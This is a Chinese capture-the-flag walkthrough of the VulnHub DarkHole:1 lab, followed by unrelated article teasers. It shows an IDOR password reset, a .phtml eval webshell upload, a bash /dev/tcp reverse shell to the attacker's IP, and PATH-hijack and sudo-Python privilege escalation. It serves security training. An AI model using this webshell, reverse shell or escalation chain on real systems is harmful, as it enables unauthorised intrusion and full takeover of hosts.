《VulnHub》DarkHole:1

news2024/10/7 20:28:12

VulnHub

  • 1:靶场信息
  • 2:打靶
    • 2.1:情报收集&威胁建模
    • 2.2:漏洞分析&渗透攻击
  • 3:总结
    • 3.1:命令&工具
      • 3.1.1:Nmap
    • 3.2:关键技术


VulnHub 打靶记录。官网:https://www.vulnhub.com

攻击机为 Kali-Linux-2023.2-vmware-amd64。
Kali NAT IP:192.168.8.10。

1:靶场信息

靶场网址:https://www.vulnhub.com/entry/darkhole-1,724/

2:打靶

2.1:情报收集&威胁建模

首先确定目标 ip:

主机发现
nmap -sn 192.168.8.0/24

在这里插入图片描述

目标 ip 为 192.168.8.108。

接着扫描一下目标端口信息:

目标信息扫描
nmap -sS -sV -T4 -n -p- 192.168.8.108

在这里插入图片描述

目标开放了 80 端口和 22 端口。

访问 80 端口,有一个登录页面,还有注册页面。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

除此以外再扫描一下网站目录。

扫描网站目录
dirsearch -u http://192.168.8.108/

经过检查没有太多有用的信息,(但 /upload/ 目录下有彩蛋。

在这里插入图片描述

2.2:漏洞分析&渗透攻击

80 端口的 web 初步检查没有弱点,只能先注册一个账号登录进去看看。

登录后的页面,有一个更新用户信息和修改密码的选项。

在这里插入图片描述

尝试修改 url 的 ID 参数,无果。

在这里插入图片描述

没办法。抓包看一下修改密码的数据包。

可以看到修改密码时附带了用户 ID。

在这里插入图片描述

那就尝试一下能不能通过修改提交的 ID 越权修改其他用户的密码。
尝试修改 ID 为 1 的用户,应该就是 admin。修改成功。

在这里插入图片描述

登录到 admin 之后发现可以上传文件。

在这里插入图片描述

在各种尝试之后,发现后端检测应该是黑名单机制。成功上传 .phtml 文件。

在这里插入图片描述

<?php 
	echo 'Hello!';
	@eval($_POST['hello']);
?>

上传成功后给出了文件地址,访问发现文件可以被执行。

在这里插入图片描述

使用蚁剑连接。

在这里插入图片描述

连接成功后首先使用蚁剑终端进行 shell 反弹。

反弹 shell
1、kali:nc -lv -p 6666
2、server:bash -c 'exec bash -i &>/dev/tcp/192.168.8.10/6666 <&1'

成功反弹 shell。这里尝试了其他反弹 shell 的代码,有些不知道为什么不能运行,不过换其他语句即可。

在这里插入图片描述

这里说一下为什么要第一时间反弹 shell,因为在其他终端(网页、蚁剑等)可能会有潜在的限制。不便于之后的操作(例如提权)。

可以尝试使用 find 命令查找敏感文件。不过这里直接查看一下 /etc/passwd 文件,寻找一下存在可以提权的用户。

cat /etc/passwd | grep /bin/bash

在这里插入图片描述

进入到 darkhole 与 john 用户的 home 目录,寻找有用信息。在 john 目录下发现一些有趣的文件。

在这里插入图片描述

passworduser.txt 文件无权查看。
运行一下 toto 文件,发现它以 john 用户的身份运行类似 id 的命令。

在这里插入图片描述

那就尝试使用该文件提权。

  1. 在本地编辑新的 id 文件,写入 /bin/bash,给执行权限。
  2. 然后将文件路径写入到原有环境变量前,这样使用 id 命令时就会优先匹配此路径下的 id 文件运行。
  3. 所以运行 toto 文件使用 john 身份调用 id 命令,实际上就是使用 john 身份调用 id 文件运行,即可获得 john 的 shell。

创建一个新 id 文件
echo '/bin/bash' > /tmp/id

赋予权限
chmod +x /tmp/id

改变环境变量
export PATH=/tmp:$PATH

在这里插入图片描述

然后运行 toto 文件即获得 john 权限。

在这里插入图片描述

之后查看 /home/john/ 下原本无权查看的 password 文件与 user.txt 文件。

在这里插入图片描述

得到一个密码:root123。猜测是 john 用户的相关密码。

同时目标开启了 22 端口,提供 ssh 服务。尝试使用 john 账户登录。

在这里插入图片描述

现在仍然是 john 账户,接下来提权到 root。

查看用户能够使用 sudo 运行的命令
sudo -l

在这里插入图片描述

运行 sudo -l,用户可以了解自己在系统上具有的 sudo 权限,以及可以运行的特权命令与文件。

可以看到 john 用户可以以管理员身份运行 /home/john/file.py

  • 那么只要通过此文件执行获取 shell,即可获得管理员权限。
  1. 将获取 shell 的命令加入到此 python 文件。
    echo 'import os;os.system("/bin/bash")' > file.py
  2. 以管理员身份执行即可。
    sudo python3 /home/john/file.py

在这里插入图片描述

在这里插入图片描述

成功获取 root 权限。完结撒花!(◕ᴗ◕✿)

最后补充一下为什么要通过 ssh 连接以后再提权:如果直接通过反弹的 shell 尝试提权至 root,会出现以下情况:

在这里插入图片描述

完结 (◕ᴗ◕✿)

3:总结

3.1:命令&工具

  • nmap
  • dirsearch
  • BurpSuite
  • 蚁剑
  • NetCat
  • bash
  • ssh
  • python

3.1.1:Nmap

部分选项

参数介绍
-snPing Scan - disable port scan
-sS/sT/sA/sW/sMTCP SYN/Connect()/ACK/Window/Maimon scans
-sVProbe open ports to determine service/version info
-T<0-5>Set timing template (higher is faster)
-n/-RNever do DNS resolution/Always resolve [default: sometimes]
-p-描目标主机的所有端口

3.2:关键技术

  • 主机发现
    nmap -sn <IP>

  • 目标信息扫描,扫描所有端口及开放端口的服务:
    nmap -sS -sV -T<0-5> -n -p- <target>

  • 网站目录扫描
    dirsearch -u <URL>

  • 网站逻辑漏洞,越权之修改密码。

  • 文件上传漏洞

  • 蚁剑连接一句话木马

  • 反弹 shell
    1、kali:nc -lv -p <端口>
    2、server:bash -c 'exec bash -i &>/dev/tcp/<IP>/<端口> <&1'

  • bash -c:让系统运行一个新的 Bash shell,-c 选项后是实际要执行的命令。
  • exec:替换当前 shell 进程。这意味着之前的 shell 进程将被关闭,而新的 Bash shell 将接管标准输入、标准输出和标准错误流。
  • bash -i:启动一个交互式 Bash shell,-i 表示这是一个交互式的 shell,可以接受用户输入。
  • &>:重定向操作符,将后续的命令的标准输出和标准错误都重定向到一个文件或设备。在这里即 /dev/tcp/<IP>/<端口>,将标准输出和标准错误都重定向到一个指定的 IP 地址和端口。
  • <&1:将标准输入重定向到标准输出。确保在建立连接后,用户可以在远程 shell 中输入命令。
  • Linux 权限、环境变量相关知识

  • 查看用户具有的 sudo 权限
    sudo -l

  • 提权,通过系统调用实现。

  • python 获取 shell

import os;
os.system("/bin/bash")

若待功成拂衣去,武陵桃花笑杀人。

——《当涂赵炎少府粉图山水歌》(唐)李白

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1001504.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++零碎记录(十)

17. 继承对象内存 17.1 查询继承对象所占内存 #include <iostream> using namespace std; #include<string>//继承中的对象模型class Base { public:int m_A; protected:int m_B; private:int m_C; };//公共继承 class Son:public Base {int m_D; };//利用开发人…

在Creo 6.0中画图模板问题

在Creo 6.0中&#xff0c;文件的默认模板是英制模板“inlbs_part_solid”,此文件模板中尺寸的单位是inch。我们建模中需要的单位是mm&#xff0c;改变Creo文件默认的单位有两种方法。 1 【新建】对话框取消勾选【使用默认模板】对话框 &#xff08;1&#xff09;单击主页选项…

从板凳围观到玩转行家:Moonbeam投票委托如何让普通用户一同参与

今年5月&#xff0c;Moonbeam发起了一项社区链上治理中投票委托反馈的调查。187位社区成员参与了这项调查&#xff0c;调查发现受访者对治理感兴趣&#xff0c;增加参与度只需要进行一些调整&#xff0c;即更简化的投票流程。 治理和去中心化是Web3的核心&#xff0c;随着Moon…

2023/9/11 qtc++

#include <iostream> #include <cstring> using namespace std; class myString { private:char *str;int size; public://无参构造myString():size(10){str new char[size]; //构造出一个长度为10的字符串strcpy(str,""); //赋值为空串}//有…

@ApiImplicitParams这个注解的作用

ApiImplicitParams这个注解的作用&#xff1f; ApiImplicitParams是一个用于描述方法参数的注解&#xff0c;它可以用在方法上&#xff0c;作用是为方法中的参数定义多个注解&#xff0c;并将这些注解集中到一个注解集中进行统一管理。通过ApiImplicitParams注解&#xff0c;我…

玩石头游戏的必胜策略-2023年全国青少年信息素养大赛Python复赛真题精选

[导读]&#xff1a;超平老师计划推出《全国青少年信息素养大赛Python编程真题解析》50讲&#xff0c;这是超平老师解读Python编程挑战赛真题系列的第17讲。 全国青少年信息素养大赛&#xff08;原全国青少年电子信息智能创新大赛&#xff09;是“世界机器人大会青少年机器人设…

Linux 操作系统云服务器安装部署 Tomcat 服务器详细教程

Tomcat 基本概述 Tomcat 服务器是Apache软件基金会&#xff08;Apache Software Foundation&#xff09;的 Jakarta 项目中的一个核心项目&#xff0c;由 Apache、Sun 和其他一些公司及个人共同开发而成。它是一个免费的开放源代码的 Web 应用服务器&#xff0c;属于轻量级应用…

融资融券开户条件和要求,融资融券开户具体流程

融资融券开户条件和要求&#xff1a;符合国家法律、行政法规规定&#xff0c;允许从事证券交易的个人和机构&#xff0c;个人客户需年满18周岁且具有完全民事行为能力&#xff0c;要求普通证券账户在公司从事证券交易不少于6个月&#xff0c;即开户需满6个月&#xff1b;拥有不…

【C++进阶】二叉树搜索树

⭐博客主页&#xff1a;️CS semi主页 ⭐欢迎关注&#xff1a;点赞收藏留言 ⭐系列专栏&#xff1a;C进阶 ⭐代码仓库&#xff1a;C进阶 家人们更新不易&#xff0c;你们的点赞和关注对我而言十分重要&#xff0c;友友们麻烦多多点赞&#xff0b;关注&#xff0c;你们的支持是我…

十三、函数式编程(2)

本章概要 方法引用 Runnable 接口未绑定的方法引用构造函数引用 函数式接口 多参数函数式接口缺少基本类型的函数 方法引用 Java 8 方法引用没有历史包袱。方法引用组成&#xff1a;类名或对象名&#xff0c;后面跟 :: &#xff0c;然后跟方法名称。 interface Callable {…

系统架构设计师-计算机网络

目录 一、计算机网络技术概述 1、网络概述 2、网络有关指标 3、网络分类 4、5G技术 二、组网技术 1、交换技术 2、基本交换原理 三、TCP/IP协议簇 1、DHCP 2、DNS 四、网络规划与设计 一、计算机网络技术概述 1、网络概述 计算机网络的功能&#xff1a; &#xff08;1&…

项目经理升级却面临挑战?如何解决任务分解和成员职责不明难题

有一个朋友刚升任项目经理。但他这两天却一副愁眉不展的样子&#xff0c;因为他之前是做技术的&#xff0c;缺乏管理经验&#xff0c;在制定计划时没有合理的分解任务&#xff0c;并且没有明确项目成员的职责&#xff0c;导致项目在推进过程中项目进度不清晰。 项目管理涉及到…

Mendeley在linux中无法打开APPimage

原因:FUSE 库为用户空间程序提供了一个接口&#xff0c;可以将虚拟文件系统导出到 Linux 内核。由于缺少这个关键库&#xff0c;AppImage 无法按预期工作。 1 安装fuse,打开终端,输入命令 sudo apt install libfuse2 输入用户密码结,果如下 2 确保APPimage作为程序运行 右击…

在阿里云 linux 服务器上查看当前服务器的Nginx配置信息

我们可以通过命令 sudo nginx -t查看到nginx.conf的路径 可以通过 sudo nginx -T查看 nginx 详细配置信息&#xff0c;包括加载的配置文件和配置块的内容 其中也会包括配置文件的内容

【k8s】Kubernetes版本v1.17.3 kubesphere 3.1.1 默认用户登录失败

1.发帖&#xff1a; Kubernetes版本v1.17.3 kubesphere 3.11 默认用户登录失败 - KubeSphere 开发者社区 2. 问题日志&#xff1a; 2.1问题排查方法 &#xff1a; 用户无法登录 http://192.168.56.100:30880/ 2.2查看用户状态 kubectl get users [rootk8s-node1 ~]# k…

Java 多线程系列Ⅶ(线程安全集合类)

线程安全集合类 前言一、多线程使用线性表二、多线程使用栈和队列三、多线程下使用哈希表 前言 在数据结构中&#xff0c;我们学习过 Java 的内置集合&#xff0c;但是我们知道&#xff0c;我们学过的大多数集合类都是线程不安全的&#xff0c;少数如 Vector&#xff0c;Stack…

Fastjson_1.2.24_unserialize_rce漏洞复现

fastjson_1.2.24_unserialize_rce 说明内容漏洞编号CNVD-2017-02833漏洞名称FastJson < 1.2.24 远程代码执行漏洞评级高危影响范围1.2.24漏洞描述通过parseObject/parse将传入的字符串反序列化为Java对象时由于没有进行合理检查修复方案升级组件&#xff0c;打补丁&#xf…

PWmat计算再发Science:用于甲烷热解高效制氢的三元镍钼铋液态合金催化剂

文章信息 原标题: Ternary NiMo-Bi liquid alloy catalyst for efficient hydrogen production from methane pyrolysis 中文标题&#xff1a;用于甲烷热解高效制氢的三元镍钼铋液态合金催化剂 作者&#xff1a;Luning Chen, Zhigang Song, Shuchen Zhang, Chung-Kai Chang…

opencv 基础(持续更新中)

1 前言 https://www.couragesteak.com/ 2 安装 3 基础属性demo 打开一张图片&#xff1a; import cv2img cv2.imread(./girl.jpg)print(img.shape) # (1536, 1024, 3) 数组形状 print(type(img)) # numpy 数组 print(img) # 三维数组&#xff08;彩色图片&am…

基于SSM的校园快递代取系统设计与实现

末尾获取源码 开发语言&#xff1a;Java Java开发工具&#xff1a;JDK1.8 后端框架&#xff1a;SSM 前端&#xff1a;采用JSP技术开发 数据库&#xff1a;MySQL5.7和Navicat管理工具结合 服务器&#xff1a;Tomcat8.5 开发软件&#xff1a;IDEA / Eclipse 是否Maven项目&#x…